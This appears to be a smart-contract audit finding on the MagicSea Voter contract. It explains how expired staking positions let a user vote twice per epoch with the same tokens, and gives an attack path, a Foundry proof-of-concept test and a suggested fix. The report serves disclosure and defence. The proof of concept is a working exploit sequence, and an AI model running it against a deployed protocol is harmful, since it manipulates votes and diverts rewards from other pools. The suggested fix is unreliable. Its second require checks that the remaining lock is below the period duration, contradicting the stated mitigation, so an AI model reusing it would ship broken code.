Joyous Cotton Cougar

Medium

# Users can vote with expired MLUM staking positions

## Summary

A user can use expired MLUM staking positions to vote, which will allow that user to vote twice in the same period with the same funds. 

## Vulnerability Detail

The `Voter` contract is designed to allow users who have MLUM staking positions to vote for pools that will receive rewards on the `MasterChef` contract. To prevent voting manipulation, the `Voter` contract performs some checks to ensure a fair voting mechanism, for example:
- The same MLUM staking position cannot vote twice in the same epoch.
- The MLUM staking position must be locked for a duration higher than the period duration.

These checks are enforced in `Voter::vote()`:

https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/Voter.sol#L166-L177
```solidity
    // check if alreay voted
    if (_hasVotedInPeriod[currentPeriodId][tokenId]) {
        revert IVoter__AlreadyVoted();
    }

    // check if _minimumLockTime >= initialLockDuration and it is locked
    if (_mlumStaking.getStakingPosition(tokenId).initialLockDuration < _minimumLockTime) {
        revert IVoter__InsufficientLockTime();
    }
    if (_mlumStaking.getStakingPosition(tokenId).lockDuration < _periodDuration) {
        revert IVoter__InsufficientLockTime();
    }
```

However, a user can trick the `Voter` contract and use the same LUM tokens to vote twice in the same epoch, which is explicitly not allowed.

The attack path is the following:
1. The user stakes LUM tokens for a duration that allows him to vote. 
2. When the lock duration of the staking position is just expired, the user votes with the expired position.
3. The user then withdraws the MLUM staking position
4. The user stakes again
5. The user votes with the new staking position

Following the described sequence a user can vote twice in the same epoch using the same LUM tokens, which is manipulating the voting results. Take into consideration that steps 2-5 can occur in the same block, which means that a user can execute this attack atomically.

A user can execute this attack with a great number of staking positions to manipulate the voting mechanism and achieve more rewards later on the `MasterChef` contract. 

## Impact

A user can use expired MLUM staking positions to vote twice in the same epoch using the same funds. This bug will allow an attacker to have more votes for the pool is voting for, which means that some pools will unfairly earn more rewards due to this bug, which is a loss of funds for other pools. 

## PoC

The following PoC shows how a user can use an expired MLUM staking position to vote twice in the same epoch using the same funds. Paste this test in the file `Voter.t.sol` and run it with the command `forge test --mt testVoteTwiceSamePeriod`.

```solidity
function testVoteTwiceSamePeriod() public {
    uint256 stakeAmount = 1e18;

    // Stake LUM to pool
    _stakingToken.mint(ALICE, stakeAmount);
    vm.startPrank(ALICE);
    _stakingToken.approve(address(_pool), stakeAmount);
    _pool.createPosition(stakeAmount, 2 weeks);
    vm.stopPrank();

    // After two weeks, staking position is just expired.
    vm.warp(2 weeks + 1);

    // Start new voting period
    vm.prank(DEV);
    _voter.startNewVotingPeriod();

    // Alice will vote with the expired position
    vm.prank(ALICE);
    _voter.vote(1, _getDummyPools(), _getDeltaAmounts());

    // Alice withdraws the funds and stake again
    vm.startPrank(ALICE);
    _pool.withdrawFromPosition(1, stakeAmount);

    _stakingToken.approve(address(_pool), stakeAmount);
    _pool.createPosition(stakeAmount, 2 weeks);

    // Now, Alice can vote again with the same funds
    _voter.vote(2, _getDummyPools(), _getDeltaAmounts());

    // Check that Alice has voted twice
    address pool = _getDummyPools()[0];
    assertEq(stakeAmount * 2, _voter.getTotalVotes());
    assertEq(stakeAmount * 2, _voter.getPoolVotesPerPeriod(1, pool));
    assertEq(stakeAmount * 2, _voter.getPoolVotes(pool));
}
```

## Code Snippet

https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/Voter.sol#L166-L177

## Tool used

Manual Review

## Recommendation

To mitigate this issue is recommended to check that the MLUM staking position used to vote has a remaining lock time higher than the epoch's duration. This way the contract will prevent users from voting with expired positions.

Below is a potential fix for this issue on the `vote` function:

```diff
+    uint256 start = _mlumStaking.getStakingPosition(tokenId).startLockTime;
+    uint256 duration = _mlumStaking.getStakingPosition(tokenId).lockDuration;

+    require(start + duration > block.timestamp);
+    require(start + duration - block.timestamp < _periodDuration);
```